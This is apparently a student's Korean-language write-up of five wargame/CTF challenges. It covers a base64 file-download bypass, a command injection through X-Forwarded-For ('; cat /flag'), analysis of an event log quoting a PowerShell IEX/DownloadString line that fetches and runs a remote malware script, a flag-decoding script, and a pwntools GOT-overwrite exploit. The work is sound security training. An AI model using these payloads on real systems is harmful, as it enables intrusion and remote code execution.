[6주차] 241111 워게임 도장 깨기
문제 1. old-42
test.txt, flag.docx파일이 있는 것을 확인할 수 있고 두 개의 파일을 다운로드 받아보았다.
test.txt는 다운로드가 되는 반면 flag.docx는 Access Denied라는 메시지가 출력된다.
푸는 방법을 알아보기 위해 코드를 살펴보았다.
위 코드를 살펴보니 test.txt 파일을 눌렀을 때 ?down=dGVzdC50eHQ=로 이동되며, flag.docx를 다운로드하면 Access Denied 라는 alert 창이 뜨는 것을 확인할 수 있었다.
dGVzdC50eHQ= 값이 인코딩 된 값이라는 추측하에 디코딩 하였고, dGVzdC50eHQ= 값은 test.txt을 인코딩한 것이라는 사실을 알 수 있었다.
따라서, flag.docx 파일을 다운로드 받기 위해 위의 양식처럼 코드를 작성해봐야 겠다는 생각이 들었다.
flag.docx의 인코딩 값을 구한 뒤 ?down=인코딩한 값의 양식에 맞춰서 입력하였다.
?down=ZmxhZy5kb2N4 의 값을 42번 문제 url 뒤에 추가적으로 넣어주었다.
위의 과정을 진행하니 flag.docx파일이 다운로드 되었고 해당 파일에서 flag값을 얻을 수 있었다.
문제 2. what-is-my-ip
코드 분석
#!/usr/bin/python3
import os
from subprocess import run, TimeoutExpired
from flask import Flask, request, render_template
app = Flask(__name__)
app.secret_key = os.urandom(64)
@app.route('/')
def flag():
user_ip = request.access_route[0] if request.access_route else request.remote_addr
try:
result = run(
["/bin/bash", "-c", f"echo {user_ip}"],
capture_output=True,
text=True,
timeout=3,
)
return render_template("ip.html", result=result.stdout)
except TimeoutExpired:
return render_template("ip.html", result="Timeout!")
app.run(host='0.0.0.0', port=3000)
user_ip에 request.access_route로 ip를 가져온다.
access_route가 없으면 requst.remote_addr를 기본값으로 설정한다.
requst.access_route는 클라이언트가 서버에 접근하기 위해 거친 프록시 서버의 ip주소 목록을 반환한다.
from subprocess import run, TimeoutExpired을 불러와서 run함수가 실행되었다.
/bin/bash로 Bash쉘을 실행하고 echo 명령어 사용해 user_ip를 출력한다.
["/bin/bash", "-c", f"echo {user_ip}"]
이 부분은 Bash 쉘을 실행한다.
쉘이란 사용자가 명령어 입력하고 운영체제와 상호작용하는 환경 제공하는 프로그램이다.
Bash 쉘이란 unix 운영체제에서 사용되는 명령 줄 인터페티스를 위한 쉘이다.
(Bourne Again SHell)
-c는 특정 명령어 전달 시 사용되는 옵션이다.
뒤에 이어지는 문자열이 명령어로 실행된다.
f"echo {user_ip}"는 echo 명령어로 user_ip 값을 Bash 쉘에서 출력되게한다.
user_ip가 그대로 명령어에 포함되는 방식이다.
즉 이것으로 Command injection 공격이 가능하다
위의 access_route는 forwarded 헤더가 존재하면
client ip부터 마지막 proxy ip까지 배열로 담고 있는 속성이다.
실제 client의 ip주소 확인 시 유용하다.
문제 풀이
버프 스위트를 이용해 forwarded 헤더를 사용해야한다.
프록시를 이용해 브라우저를 열고 flag파일로 넘어가는
X-Forwarded-For: ; cat /flag
를 추가했다.
X-Forward-For이란 http 헤더 일부로 클라이언트의 IP 주소 식별 시 사용
실제 요청 봰 클라이언트 IP 식별
사용자 웹 브라우저 -> 웹 서버에 직접 요청 보냄 (웹서버는 사용자 ip주소 쉽게 식별O)
요청이 프록시 서버/로드 밸런서 거쳐 웹 서버에 도달하면 웹 서버는 ip주소 알 수 없음
(마지막으로 요청 전달한 프록시/로드밸런서 ip 인식하기 때문)
한계 극복 위해 프록시/로드밸런서 -> X-Forawrded-For 헤더 웹 요청에 추가할 수 있음
X-Forwarded-For 헤더를 원래 클라이언트의 IP 주소 포함 (-> 웹 서버가 사용자의 ip알 수 있음)
문제 3. nikonikoni
이벤트 로그
Windows PowerShell.evtx 확인
PowerShell 이벤트 로그에서 Event ID 600은 PowerShell 엔진의 시작을 의미합니다. 이 이벤트는 PowerShell이 실행될 때 기록되며, PowerShell 세션이 열릴 때마다 생성됩니다.
Event ID 600의 주요 정보
- 의미: PowerShell 엔진이 시작되었음을 나타냅니다.
- 용도: PowerShell 사용 시작 시점을 기록하여, 누가 언제 PowerShell을 사용했는지 추적하는 데 도움이 됩니다.
- 상세 정보: 이 로그에는 시작된 PowerShell 버전 및 호스트 정보, 실행된 사용자 정보 등이 포함될 수 있습니다.
보안 관점에서 PowerShell 이벤트 ID 600은 스크립트 실행 또는 명령어 수행이 시작된 시점을 파악할 때 유용합니다. 이를 통해 의심스러운 PowerShell 활동을 감시하거나 추적할 수 있습니다.
HostApplication=powershell.exe -exec bypass -C IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/esby97/powershell_malware/master/malware.ps1');
powershell.exe -exec bypass
- powershell.exe: PowerShell 프로그램을 실행합니다.exec bypass: 실행 정책을 bypass로 설정하여 모든 스크립트를 제한 없이 실행할 수 있도록 합니다. 이 옵션은 보안 정책을 우회할 수 있기 때문에 악성 코드 실행 시 자주 사용됩니다.
C IEX (New-Object Net.WebClient).DownloadString('https://...'):
- C: PowerShell에서 -Command의 약어로, 뒤에 오는 명령어를 실행합니다.IEX (Invoke-Expression): Invoke-Expression (IEX) 명령은 괄호 안의 내용을 실행합니다.
- (New-Object Net.WebClient).DownloadString('URL'): New-Object Net.WebClient를 통해 네트워크 클라이언트를 생성하여, DownloadString 메서드로 지정된 URL의 내용을 다운로드합니다.
→ 여기서는 https://raw.githubusercontent.com/esby97/powershell_malware/master/malware.ps1
에 있는 스크립트를 가져옴
따라서 ,전체 명령의 의미는 원격 서버에 있는 malware.ps1이라는 스크립트를 다운로드한 후, IEX로 즉시 실행
1. write-host: 화면에 메시지를 출력합니다.
"hello I'm hacker. And I need some money"와 "1. Wallpaper Change."라는 메시지를 출력하여 공격자가 금전적 요구를 하고 있음을 나타냅니다.
2. Start-Process "C:\merong.exe" "C:\ani.jpg";
(New-Object System.Net.WebClient).DownloadFile: 네트워크 클라이언트를 생성하여 원격 파일을 다운로드합니다.
3. IEX (Invoke-Expression): 다운로드한 스크립트를 즉시 실행합니다.
DownloadString: malware2.ps1을 원격에서 다운로드하고, 이를 PowerShell 내에서 실행합니다.
malware2.ps1이 실제 랜섬웨어 스크립트일 가능성이 높음
→ 이 코드가 실행되면 파일 암호화나 파일 접근 차단 등의 악성 행위를 할 수 있음
문제 4. Summer Fan
key = “hot_hot_summmerr”
key_size = 16
flag = [220, 211, 180, 230, 192, 22, 341, 220, 227, 341, 139, 163, 355, 293, 333, 196, 142, 216, 376, 133, 248, 26, 342, 378, 231, 149, 145, 173, 185, 1, 10, 198]
flag_size = 32
gen() 함수
- tmp = key[i-input%i+1]
- return input**3 % 256 ^ tmp
generateFlag() 함수
- 32번 반복 (flag size 만큼)
- int((flag[i]) ^ key[i%16]) - gen(i)
generateFlag() 함수에서 2번은 연산자 우선순위 때문에 괄호를 추가해주었다.
key = "hot_hot_summmerr"
key = list(key)
flag = [220, 211, 180, 230, 192, 22, 341, 220, 227, 341, 139, 163, 355, 293, 333, 196, 142, 216, 376, 133, 248, 26, 342, 378, 231, 149, 145, 173, 185, 1, 10, 198]
result = []
key_size = len(key)
flag_size = len(flag)
def gen(a):
tmp = key[key_size-a%key_size-1]
return (a**3)%256^ord(tmp)
def generateFlag():
for i in range(flag_size):
result.append(chr((flag[i]^ord(key[i%key_size]))-gen(i)))
return "".join(result)
def main():
print(generateFlag())
if __name__ == "__main__":
main()
문제 5. ssp_000
SSP 방어 기법
Stack Smashinf Protector
메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법
스택 버퍼와 스택 프레임 포인터 사이에 Random 값을 삽입하여 함수 종료 시점에서 랜덤 값 변조 여부를 검사하여 스택이 변조되었는지 확인하는 방식
Random 값 = Canary
main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장
임의의 값을 지정된 버퍼보다 훨씬 많은 값을 주었을 때 stack smashing detected라는 error가 발생함 -> canary가 존재함을 알 수 있음
카나리 값이 틀릴 경우 __stack_chk_fail이 호출되면서 프로그램이 강제 종료됨
checksec ssp_000
64비트 아키텍처, 카나리/NX 보호기법 걸려있음
ssp_000.C
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
get_shell 함수 존재 → 해당 함수 주소를 리턴 주소 값으로 바꾸면 됨
read 함수 → 버퍼오버플로우 발생; buf 0x40만큼 주어졌는데 0x80만큼 받고 있음
printf ~ scanf 까지 → 임의 주소에 원하는 값 쓸 수 있음(addr이 가리키는 주소를 value 값으로 바꿈)
return address를 get_shell로 덮는 방법 외에도 다른 방법으로 문제 해결 가능
→ 카나리 변조될 때 실행되는 __stack_chk_fail 함수 이용하여 해결할 수 있음
__stack_chk_fai 함수의 got가 변조되면 해당 함수가 호출될 때 바뀐 주소의 함수를 호출하게 됨
⇒ 일부러 버퍼 오버플로우 발생시키고 __stack_chk_fail의 got를 get_shell 주소로 변경시켜 쉘을 실행시킬 수 있음
get_shell 함수 주소
0x4008ea
익스플로잇 코드
from pwn import *
p = remote("host3.dreamhack.games", 15810)
e = ELF("./ssp_000")
get_shell = 0x4008ea
stack_chk_fail_got = e.got['__stack_chk_fail']
payload = b'A' * 0x80
p.sendline(payload)
print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))
p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()